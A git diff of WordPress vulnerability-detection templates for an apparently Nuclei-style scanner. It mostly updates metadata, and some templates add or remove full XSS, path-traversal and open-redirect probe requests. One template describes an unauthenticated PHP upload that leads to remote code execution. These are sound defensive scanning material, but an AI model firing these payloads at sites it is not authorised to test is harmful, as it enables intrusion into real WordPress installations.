RCE + name: WordPress SimpleFilelist - Remote Code Execution author: princechaddha severity: critical description: | - The Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file. + Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file. reference: - https://wpscan.com/vulnerability/10192 - tags: wordpress,wp-plugin,rce,intrusive,upload,python + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: wpscan,wordpress,wp-plugin,rce,intrusive,fileupload,python requests: - raw: @@ -71,3 +75,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/wordpress/wordpress-redirection-plugin-listing.yaml b/vulnerabilities/wordpress/wordpress-redirection-plugin-listing.yaml index 5c849255aa..d2c9513be4 100644 --- a/vulnerabilities/wordpress/wordpress-redirection-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wordpress-redirection-plugin-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Redirection Plugin Directory Listing author: dhiyaneshDk severity: info - description: Searches for sensitive directories present in the wordpress-redirection plugin. + description: Searches for sensitive directories present in the redirection plugin. reference: - https://www.exploit-db.com/ghdb/6436 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-social-metrics-tracker.yaml b/vulnerabilities/wordpress/wordpress-social-metrics-tracker.yaml index c393680936..bf208b67c2 100644 --- a/vulnerabilities/wordpress/wordpress-social-metrics-tracker.yaml +++ b/vulnerabilities/wordpress/wordpress-social-metrics-tracker.yaml @@ -4,7 +4,11 @@ info: name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export author: randomrobbie severity: medium - tags: wordpress,wp-plugin + description: | + The lack of proper authorisation when exporting data from the plugin could allow unauthenticated users to get information about the posts and page of the blog, including their author's username and email. + reference: + - https://wpscan.com/vulnerability/f4eed3ba-2746-426f-b030-a8c432defeb2 + tags: wordpress,wp-plugin,wp,unauth,wpscan requests: - method: GET @@ -13,10 +17,11 @@ requests: matchers-condition: and matchers: + - type: word + part: body + words: + - "Main URL to Post" + - type: status status: - 200 - - type: word - words: - - "Main URL to Post" - part: body \ No newline at end of file diff --git a/vulnerabilities/wordpress/wordpress-total-upkeep-backup-download.yaml b/vulnerabilities/wordpress/wordpress-total-upkeep-backup-download.yaml index 6dd3f645af..f514fc1fcf 100644 --- a/vulnerabilities/wordpress/wordpress-total-upkeep-backup-download.yaml +++ b/vulnerabilities/wordpress/wordpress-total-upkeep-backup-download.yaml @@ -6,7 +6,7 @@ info: severity: high reference: - https://www.exploit-db.com/exploits/49252 - tags: wordpress,wp-plugin + tags: wordpress,wp-plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-updraftplus-pem-key.yaml b/vulnerabilities/wordpress/wordpress-updraftplus-pem-key.yaml index 844fa85bbc..dff0717418 100644 --- a/vulnerabilities/wordpress/wordpress-updraftplus-pem-key.yaml +++ b/vulnerabilities/wordpress/wordpress-updraftplus-pem-key.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/ghdb/6437 - tags: wordpress,wp-plugin + tags: wp-plugin,edb,wordpress requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-woocommerce-listing.yaml b/vulnerabilities/wordpress/wordpress-woocommerce-listing.yaml index b42a797679..133a7642a2 100644 --- a/vulnerabilities/wordpress/wordpress-woocommerce-listing.yaml +++ b/vulnerabilities/wordpress/wordpress-woocommerce-listing.yaml @@ -7,7 +7,7 @@ info: description: Searches for sensitive directories present in the woocommerce wordpress plugin. reference: - https://www.exploit-db.com/ghdb/6192 - tags: wordpress,listing,plugin,woocommerce + tags: edb,wordpress,listing,plugin,woocommerce requests: - method: GET diff --git a/vulnerabilities/wordpress/wordpress-wordfence-lfi.yaml b/vulnerabilities/wordpress/wordpress-wordfence-lfi.yaml index 05bc6af882..ded165192a 100644 --- a/vulnerabilities/wordpress/wordpress-wordfence-lfi.yaml +++ b/vulnerabilities/wordpress/wordpress-wordfence-lfi.yaml @@ -1,13 +1,18 @@ id: wordpress-wordfence-lfi info: - name: Wordpress Wordfence 7.4.5 - Arbitrary File Retrieval + name: WordPress Wordfence 7.4.5 - Local File Inclusion author: 0x_Akoko severity: high + description: WordPress Wordfence 7.4.5 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/48061 - https://www.nmmapper.com/st/exploitdetails/48061/42367/wordpress-plugin-wordfence745-local-file-disclosure/ - tags: wordpress,wp-plugin,lfi,wordfence + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,wordfence,edb requests: - method: GET @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wordpress-wordfence-waf-bypass-xss.yaml b/vulnerabilities/wordpress/wordpress-wordfence-waf-bypass-xss.yaml index b0a50a1cfe..476f3602f1 100644 --- a/vulnerabilities/wordpress/wordpress-wordfence-waf-bypass-xss.yaml +++ b/vulnerabilities/wordpress/wordpress-wordfence-waf-bypass-xss.yaml @@ -1,11 +1,16 @@ id: wordpress-wordfence-waf-bypass-xss info: - name: Wordpress Wordfence WAF - Cross-Site Scripting + name: Wordpress Wordfence - Cross-Site Scripting author: hackergautam severity: medium + description: Wordpress Wordfence is vulnerable to cross-site scripting. reference: - https://twitter.com/naglinagli/status/1382082473744564226 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 tags: wordpress,wordfence,xss,bypass requests: @@ -28,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml b/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml index 5ada86210a..9fc4199fee 100644 --- a/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml +++ b/vulnerabilities/wordpress/wordpress-wordfence-xss.yaml @@ -1,9 +1,14 @@ id: wordpress-wordfence-xss info: - name: WordPress Wordfence 7.4.6 Cross Site Scripting + name: WordPress Wordfence 7.4.6 - Cross0Site Scripting author: madrobot severity: medium + description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 tags: wordpress,wp-plugin,xss,wordfence requests: @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml b/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml index 4094c066d1..254120356e 100644 --- a/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml +++ b/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml @@ -1,17 +1,24 @@ id: wordpress-zebra-form-xss info: - name: Wordpress Zebra Form - Cross-Site Scripting + name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting author: madrobot severity: medium + description: | + Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php. reference: - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html - tags: wordpress,xss + - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,xss,wp,wpscan requests: - raw: - | - POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1 + POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074 @@ -26,15 +33,17 @@ requests: matchers-condition: and matchers: - type: word - words: - - "" part: body + words: + - "" + + - type: word + part: header + words: + - "text/html" - type: status status: - 200 - - type: word - words: - - "text/html" - part: header +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wp-123contactform-plugin-listing.yaml b/vulnerabilities/wordpress/wp-123contactform-plugin-listing.yaml index e78615fb51..b19431caeb 100644 --- a/vulnerabilities/wordpress/wp-123contactform-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wp-123contactform-plugin-listing.yaml @@ -4,11 +4,11 @@ info: name: WordPress 123ContactForm Plugin Directory Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the 123contactform-for-wordpress plugin. reference: - https://blog.sucuri.net/2021/01/critical-vulnerabilities-in-123contactform-for-wordpress-wordpress-plugin.html - https://www.exploit-db.com/ghdb/6979 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-adaptive-xss.yaml b/vulnerabilities/wordpress/wp-adaptive-xss.yaml index e6649074fb..ca94ad0d3d 100644 --- a/vulnerabilities/wordpress/wp-adaptive-xss.yaml +++ b/vulnerabilities/wordpress/wp-adaptive-xss.yaml @@ -1,7 +1,7 @@ id: wp-adaptive-xss info: - name: WordPress Adaptive Images < 0.6.69 - Reflected Cross-Site Scripting + name: WordPress Adaptive Images < 0.6.69 - Cross-Site Scripting author: dhiyaneshDK severity: high description: WordPress Adaptive Images < 0.6.69 is susceptible to cross-site scripting because the plugin does not sanitize and escape the REQUEST_URI before outputting it back in a page. @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 - tags: wordpress,xss,wp-plugin,wp + tags: wpscan,wordpress,xss,wp-plugin,wp requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-all-export-xss.yaml b/vulnerabilities/wordpress/wp-all-export-xss.yaml new file mode 100644 index 0000000000..3eb71ebc08 --- /dev/null +++ b/vulnerabilities/wordpress/wp-all-export-xss.yaml @@ -0,0 +1,52 @@ +id: wp-all-export-xss + +info: + name: WordPress All Export <1.3.6 - Cross-Site Scripting + author: Akincibor + severity: medium + description: WordPress All Export plugin before version 1.3.6 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting. + metadata: + verified: true + reference: + - https://wpscan.com/vulnerability/de330a59-d64d-40be-86df-98997949e5e4 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wp-plugin,xss,wp,wordpress,authenticated,wpscan + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/admin.php?page=pmxe-admin-manage&a"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'manage&a\">">' + - 'Manage Exports' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wp-altair-listing.yaml b/vulnerabilities/wordpress/wp-altair-listing.yaml index d81371ddc2..3c3a1e0eda 100644 --- a/vulnerabilities/wordpress/wp-altair-listing.yaml +++ b/vulnerabilities/wordpress/wp-altair-listing.yaml @@ -1,28 +1,28 @@ -id: wp-altair-listing +id: wp-altair-listing -info: - name: Altair WordPress theme v4.8 - Directory Listing - author: pussycat0x - severity: info - description: Searches for directories listing in the altair theme. - tags: wordpress,listing,wp-theme +info: + name: Altair WordPress theme v4.8 - Directory Listing + author: pussycat0x + severity: info + description: Searches for directories listing in the altair theme. + tags: wordpress,listing,wp-theme -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/themes/altair/modules/" - - "{{BaseURL}}/wp-content/themes/altair/functions/" - - "{{BaseURL}}/wp-content/themes/altair/images/flip/" - - "{{BaseURL}}/wp-content/themes/altair/images/" - - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "wp-content/themes/altair" - condition: and - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/themes/altair/modules/" + - "{{BaseURL}}/wp-content/themes/altair/functions/" + - "{{BaseURL}}/wp-content/themes/altair/images/flip/" + - "{{BaseURL}}/wp-content/themes/altair/images/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "wp-content/themes/altair" + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-ambience-xss.yaml b/vulnerabilities/wordpress/wp-ambience-xss.yaml index 846c96eb86..40c9e68bfc 100644 --- a/vulnerabilities/wordpress/wp-ambience-xss.yaml +++ b/vulnerabilities/wordpress/wp-ambience-xss.yaml @@ -1,12 +1,19 @@ id: wp-ambience-xss info: - name: WordPress Theme Ambience - 'src' Reflected Cross-Site Scripting (XSS) + name: WordPress Ambience Theme <=1.0 - Cross-Site Scripting author: daffainfo severity: medium + description: | + WordPress Ambience Theme 1.0 and earlier was affected by a cross-site scripting vulnerability. reference: - - https://www.exploit-db.com/exploits/38568 - tags: wordpress,xss,wp-plugin + - https://www.exploit-db.com/expl oits/38568 + - https://wpscan.com/vulnerability/c465e5c1-fe43-40e9-894a-97b8ac462381 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wp-plugin,wp,edb,wpscan,wordpress,xss requests: - method: GET @@ -16,9 +23,9 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word part: header @@ -28,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wp-arforms-listing.yaml b/vulnerabilities/wordpress/wp-arforms-listing.yaml index 32df4d1c94..9cc479667f 100644 --- a/vulnerabilities/wordpress/wp-arforms-listing.yaml +++ b/vulnerabilities/wordpress/wp-arforms-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Arforms Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the arforms plugin. reference: - https://www.exploit-db.com/ghdb/6424 - tags: wordpress,listing,plugin + tags: listing,plugin,edb,wordpress requests: diff --git a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml new file mode 100644 index 0000000000..9c1230c237 --- /dev/null +++ b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml @@ -0,0 +1,42 @@ +id: wp-blogroll-fun-xss + +info: + name: WordPress Blogroll Fun-Show Last Post and Last Update Time 0.8.4 - Cross-Site Scripting + author: DhiyaneshDK + severity: high + description: | + WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time 0.8.4 and possibly prior versions are prone to a cross-site scripting vulnerability because of a failure to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + remediation: Update to plugin version 0.8.5 or later. + reference: + - https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/ + - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/ + metadata: + verified: true + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,wp-plugin,xss,unauth,wp + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Got:
' + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/09/07 diff --git a/vulnerabilities/wordpress/wp-church-admin-xss.yaml b/vulnerabilities/wordpress/wp-church-admin-xss.yaml deleted file mode 100644 index dd400c14f6..0000000000 --- a/vulnerabilities/wordpress/wp-church-admin-xss.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: wp-church-admin-xss - -info: - name: WordPress Plugin church_admin - 'id' Reflected Cross-Site Scripting (XSS) - author: daffainfo - severity: medium - reference: - - https://packetstormsecurity.com/files/132034/WordPress-Church-Admin-0.800-Cross-Site-Scripting.html - tags: wordpress,xss,wp-plugin - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/wp-custom-tables-xss.yaml b/vulnerabilities/wordpress/wp-custom-tables-xss.yaml index 6802b267d6..043b58de41 100644 --- a/vulnerabilities/wordpress/wp-custom-tables-xss.yaml +++ b/vulnerabilities/wordpress/wp-custom-tables-xss.yaml @@ -1,13 +1,13 @@ id: wp-custom-tables-xss info: - name: WordPress Custom Tables Plugin 3.4.4 - Reflected Cross Site Scripting (XSS) + name: WordPress Custom Tables Plugin 3.4.4 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress custom tables Plugin 'key' Parameter Cross Site Scripting Vulnerability reference: - https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252 - tags: wordpress,xss,wp-plugin + tags: wpscan,wordpress,xss,wp-plugin requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-email-subscribers-listing.yaml b/vulnerabilities/wordpress/wp-email-subscribers-listing.yaml index 09ba092ece..631852c616 100644 --- a/vulnerabilities/wordpress/wp-email-subscribers-listing.yaml +++ b/vulnerabilities/wordpress/wp-email-subscribers-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Email Subscribers Listing author: pussycat0x severity: low - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the email-subscribers plugin. reference: - https://www.exploit-db.com/ghdb/6428 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: diff --git a/vulnerabilities/wordpress/wp-finder-xss.yaml b/vulnerabilities/wordpress/wp-finder-xss.yaml index 1742028640..2ff57c78e0 100644 --- a/vulnerabilities/wordpress/wp-finder-xss.yaml +++ b/vulnerabilities/wordpress/wp-finder-xss.yaml @@ -1,12 +1,12 @@ id: wp-finder-xss info: - name: WordPress Plugin Finder - 'order' Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin Finder - 'order' Cross-Site Scripting author: daffainfo severity: medium reference: - https://packetstormsecurity.com/files/115902/WordPress-Finder-Cross-Site-Scripting.html - tags: wordpress,xss,wp-plugin + tags: xss,wp-plugin,packetstorm,wordpress requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-flagem-xss.yaml b/vulnerabilities/wordpress/wp-flagem-xss.yaml index 98183da5f2..7ea55c8caf 100644 --- a/vulnerabilities/wordpress/wp-flagem-xss.yaml +++ b/vulnerabilities/wordpress/wp-flagem-xss.yaml @@ -1,12 +1,12 @@ id: wp-flagem-xss info: - name: WordPress Plugin FlagEm - Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin FlagEm - Cross-Site Scripting author: daffainfo severity: medium reference: - https://www.exploit-db.com/exploits/38674 - tags: wordpress,xss,wp-plugin + tags: wordpress,xss,wp-plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-grimag-open-redirect.yaml b/vulnerabilities/wordpress/wp-grimag-open-redirect.yaml index e100c092a2..71fcf22a06 100644 --- a/vulnerabilities/wordpress/wp-grimag-open-redirect.yaml +++ b/vulnerabilities/wordpress/wp-grimag-open-redirect.yaml @@ -7,15 +7,15 @@ info: description: The Grimag WordPress theme was affected by an Open Redirection security vulnerability. reference: - https://wpscan.com/vulnerability/db319d4c-7de6-4d36-90e9-86de82e9c03a - tags: wordpress,wp-theme,redirect + tags: wp-theme,redirect,wpscan,wordpress requests: - method: GET path: - - "{{BaseURL}}/wp-content/themes/Grimag/go.php?https://example.com" + - "{{BaseURL}}/wp-content/themes/Grimag/go.php?https://interact.sh" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/wordpress/wp-haberadam-idor.yaml b/vulnerabilities/wordpress/wp-haberadam-idor.yaml index c8001614ba..986f377396 100644 --- a/vulnerabilities/wordpress/wp-haberadam-idor.yaml +++ b/vulnerabilities/wordpress/wp-haberadam-idor.yaml @@ -7,7 +7,7 @@ info: reference: - https://cxsecurity.com/issue/WLB-2021090078 metadata: - google-dork: inurl:/wp-content/themes/haberadam/ + google-query: inurl:/wp-content/themes/haberadam/ tags: wordpress,idor,wp-theme,disclosure requests: diff --git a/vulnerabilities/wordpress/wp-idx-broker-platinum-listing.yaml b/vulnerabilities/wordpress/wp-idx-broker-platinum-listing.yaml index b1b829e9e2..8a12b72001 100644 --- a/vulnerabilities/wordpress/wp-idx-broker-platinum-listing.yaml +++ b/vulnerabilities/wordpress/wp-idx-broker-platinum-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Idx Broker Platinum Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the idx-broker-platinum plugin. reference: - https://www.exploit-db.com/ghdb/6416 - tags: wordpress,listing,plugin + tags: plugin,edb,wordpress,listing requests: diff --git a/vulnerabilities/wordpress/wp-insert-php-xss.yaml b/vulnerabilities/wordpress/wp-insert-php-xss.yaml new file mode 100644 index 0000000000..989775584e --- /dev/null +++ b/vulnerabilities/wordpress/wp-insert-php-xss.yaml @@ -0,0 +1,46 @@ +id: wp-insert-php-xss + +info: + name: Woody Code Snippets < 2.4.6 - Cross-Site Scripting + author: Akincibor,DhiyaneshDk + severity: medium + description: The plugin does not escape a generated URLs before outputting them back in an attribute, leading to Reflected Cross-Site Scripting + reference: + - https://wpscan.com/vulnerability/6d6761b7-0c17-4428-8748-2179732030a3 + metadata: + verified: true + tags: xss,wp,wordpress,authenticated,woody,wpscan,wp-plugin + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/edit.php?post_type=wbcr-snippets&page=import-wbcr_insert_php&a"> HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'import-wbcr_insert_php&a\">"' + - 'Woody Code Snippets Import' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-iwp-client-listing.yaml b/vulnerabilities/wordpress/wp-iwp-client-listing.yaml index 22f7ad9dc8..28e9d6838c 100644 --- a/vulnerabilities/wordpress/wp-iwp-client-listing.yaml +++ b/vulnerabilities/wordpress/wp-iwp-client-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Iwp-client Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the iwp-client plugin. reference: - https://www.exploit-db.com/ghdb/6427 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-javospot-lfi.yaml b/vulnerabilities/wordpress/wp-javospot-lfi.yaml index 747c17bdeb..9e11f2640c 100644 --- a/vulnerabilities/wordpress/wp-javospot-lfi.yaml +++ b/vulnerabilities/wordpress/wp-javospot-lfi.yaml @@ -1,15 +1,19 @@ id: wp-javospot-lfi info: - name: Javo Spot Premium Theme - Unauthenticated Directory Traversal + name: WordPress Javo Spot Premium Theme - Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in Javo Spot Premium Theme allows remote unauthenticated attackers access to locally stored file and return their content. + description: WordPress Javo Spot Premium Theme is vulnerable to local file inclusion that allows remote unauthenticated attackers access to locally stored file and return their content. reference: - https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/ - https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab - https://themeforest.net/item/javo-spot-multi-purpose-directory-wordpress-theme/13198068 - tags: wordpress,wp-theme,lfi,wp + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-theme,lfi,wp,wpscan requests: - method: GET @@ -28,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-knews-xss.yaml b/vulnerabilities/wordpress/wp-knews-xss.yaml index 3d4127b15c..8a5caa4568 100644 --- a/vulnerabilities/wordpress/wp-knews-xss.yaml +++ b/vulnerabilities/wordpress/wp-knews-xss.yaml @@ -1,11 +1,11 @@ id: wp-knews-xss info: - name: WordPress Plugin Knews Multilingual Newsletters - Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin Knews Multilingual Newsletters - Cross-Site Scripting author: daffainfo severity: medium reference: - - https://www.securityfocus.com/bid/54330/info + - http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info tags: wordpress,xss,wp-plugin requests: diff --git a/vulnerabilities/wordpress/wp-memphis-documents-library-lfi.yaml b/vulnerabilities/wordpress/wp-memphis-documents-library-lfi.yaml index 78ea1bb313..e2e319f9aa 100644 --- a/vulnerabilities/wordpress/wp-memphis-documents-library-lfi.yaml +++ b/vulnerabilities/wordpress/wp-memphis-documents-library-lfi.yaml @@ -1,14 +1,18 @@ id: wp-memphis-documents-library-lfi info: - name: WordPress Plugin Memphis Document Library 3.1.5 LFI + name: WordPress Memphis Document Library 3.1.5 - Local File Inclusion author: 0x_Akoko severity: high - description: Arbitrary file download in Memphis Document Library 3.1.5 + description: WordPress Memphis Document Library 3.1.5 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/39593 - https://wpscan.com/vulnerability/53999c06-05ca-44f1-b713-1e4d6b4a3f9f - tags: wordpress,wp-plugin,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wpscan,wordpress,wp-plugin,lfi,edb requests: - method: GET @@ -28,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-mstore-plugin-listing.yaml b/vulnerabilities/wordpress/wp-mstore-plugin-listing.yaml index 3c8901d1d2..dc99e0ba8d 100644 --- a/vulnerabilities/wordpress/wp-mstore-plugin-listing.yaml +++ b/vulnerabilities/wordpress/wp-mstore-plugin-listing.yaml @@ -1,27 +1,27 @@ -id: wp-mstore-plugin-listing +id: wp-mstore-plugin-listing -info: - name: Wordpress Plugin MStore API - author: pussycat0x - severity: low - description: Searches for sensitive directories present in the wordpress-plugins plugin. - metadata: - google-dork: inurl:/wp-content/plugins/mstore-api/ - tags: wordpress,listing,wp-plugin +info: + name: Wordpress Plugin MStore API + author: pussycat0x + severity: low + description: Searches for sensitive directories present in the mstore-api plugin. + metadata: + google-query: inurl:/wp-content/plugins/mstore-api/ + tags: wordpress,listing,wp-plugin -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/mstore-api/" - - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "/wp-content/plugins/mstore-api" - condition: and - - - type: status - status: - - 200 \ No newline at end of file +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/mstore-api/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "/wp-content/plugins/mstore-api" + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml b/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml index 08f2810f63..a260d16be2 100644 --- a/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml +++ b/vulnerabilities/wordpress/wp-multiple-theme-ssrf.yaml @@ -7,7 +7,7 @@ info: reference: - https://www.exploit-db.com/exploits/49327 - https://wpscan.com/vulnerability/10417 - tags: wordpress,rce,ssrf + tags: wordpress,rce,ssrf,edb,wpscan requests: - raw: @@ -16,15 +16,15 @@ requests: Host: {{Hostname}} Content-Type: 